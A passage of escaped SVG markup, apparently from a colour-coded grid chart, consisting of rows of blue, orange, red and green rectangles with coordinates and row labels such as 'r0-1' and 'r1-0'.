style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"25.6\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"25.6\"></rect><g transform=\"translate(127.0,44.190625000000004)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r0-1</text></g><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"38.493750000000006\"></rect><rect height=\"11.393749999999997\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"38.493750000000006\"></rect><g transform=\"translate(127.0,57.08437500000001)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r1-0</text></g><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" 